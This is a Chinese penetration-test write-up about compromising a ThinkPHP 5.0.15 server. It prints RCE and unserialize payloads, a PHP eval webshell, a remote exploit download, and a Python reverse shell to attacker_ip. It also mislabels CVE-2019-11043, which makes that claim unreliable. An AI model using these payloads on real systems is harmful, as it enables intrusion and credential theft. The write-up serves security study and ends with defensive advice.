记一次简单的渗透
字数 1544 2025-08-05 08:19:40
记一次简单的渗透测试实战教学
前言
本教学文档基于一次真实的ThinkPHP 5.0.15框架渗透测试过程,详细记录了从信息搜集到最终获取系统权限的全过程。本次渗透利用了多个漏洞和技术点,包括ThinkPHP RCE、反序列化漏洞、PHP 7.1 UAF漏洞利用等。
信息搜集阶段
-
目标识别:
- 使用FOFA搜索引擎发现目标后台系统
- 初步尝试弱口令和SQL注入未果
-
框架识别:
- 通过错误路由信息确认目标使用ThinkPHP框架
- 确定版本为ThinkPHP 5.0.15
-
环境分析:
- PHP版本为7.1
- 启用了FPM服务
- 配置了open_basedir和disable_function限制
漏洞利用过程
初始RCE利用
ThinkPHP 5.0.15存在已知的远程代码执行漏洞,可直接利用:
_method=__construct&method=get&filter=assert&get[]=phpinfo();
但受限于disable_function限制,常规函数如system()等被禁用。
反序列化漏洞利用
-
利用ThinkPHP 5.0.x反序列化漏洞:
- 通过控制File类,使用伪协议绕过死亡exit()写入木马
- 构造payload:
_method=__construct&method=get&filter=unserialize&get[]=构造的反序列化数据
-
写入WebShell遇到的问题:
- 直接写入
<?php eval($_POST['ccc']);?>时遇到PHP短标签解析错误 - 解决方案:使用php://filter组合拳处理:
将代码base64编码后写入php://filter/write=convert.base64-decode/resource=shell.php
- 直接写入
绕过disable_function
由于disable_function限制了常用命令执行函数,采用以下方法绕过:
-
PHP 7.1 UAF漏洞利用:
- 使用Backtrace UAF漏洞(CVE-2019-11043)
- 上传专门编写的exploit脚本
-
Exploit脚本关键点:
- 利用PHP内部对象的内存操作漏洞
- 通过精心构造的内存操作获取system函数地址
- 最终实现任意命令执行
-
文件传输方法:
- 使用copy()函数从远程服务器下载exploit:
copy('http://vps/exploit.txt','/tmp/exp.php');
- 使用copy()函数从远程服务器下载exploit:
获取交互式Shell
-
反弹Shell尝试:
- 常规bash反弹失败(权限问题)
- 发现/bin/bash链接到/usr/bin
-
替代方案:
- 使用Python获取交互式Shell:
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("attacker_ip",port)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
- 使用Python获取交互式Shell:
权限提升与横向移动
-
数据库访问:
- 从database.php读取数据库凭据
- 尝试连接数据库获取更多信息
-
管理员密码破解:
- 分析后台代码中的加密算法
- 尝试解密获取的管理员密码哈希
关键知识点总结
-
ThinkPHP 5.0.15漏洞:
- RCE漏洞利用方法
- 反序列化漏洞利用技巧
-
PHP限制绕过:
- open_basedir绕过技术
- disable_function绕过方法(UAF漏洞利用)
- 死亡exit()绕过技术
-
WebShell写入技巧:
- 使用php://filter处理编码问题
- 特殊文件名生成方法(如a.php3b58a9545013e88c7186db11bb158c44.php)
-
内存操作技术:
- PHP内存布局理解
- 地址泄露与计算
- 函数指针覆盖技术
防御建议
-
针对ThinkPHP:
- 及时升级到最新安全版本
- 禁用危险的方法调用(如__construct方法过滤)
-
PHP安全配置:
- 更新到不受UAF漏洞影响的PHP版本
- 合理配置disable_function
- 限制危险函数的使用
-
系统层面:
- 实施严格的权限分离
- 监控异常文件创建和修改
- 限制外部连接
参考资源
- 关于file_put_contents的一些小测试
- PHP 7.1 UAF漏洞详细分析
- ThinkPHP 5.0.x反序列化漏洞分析
本教学文档详细记录了一次完整的渗透测试过程,涵盖了从信息搜集到权限获取的各个阶段,重点讲解了遇到的各种限制及其绕过方法,可作为类似环境渗透测试的参考指南。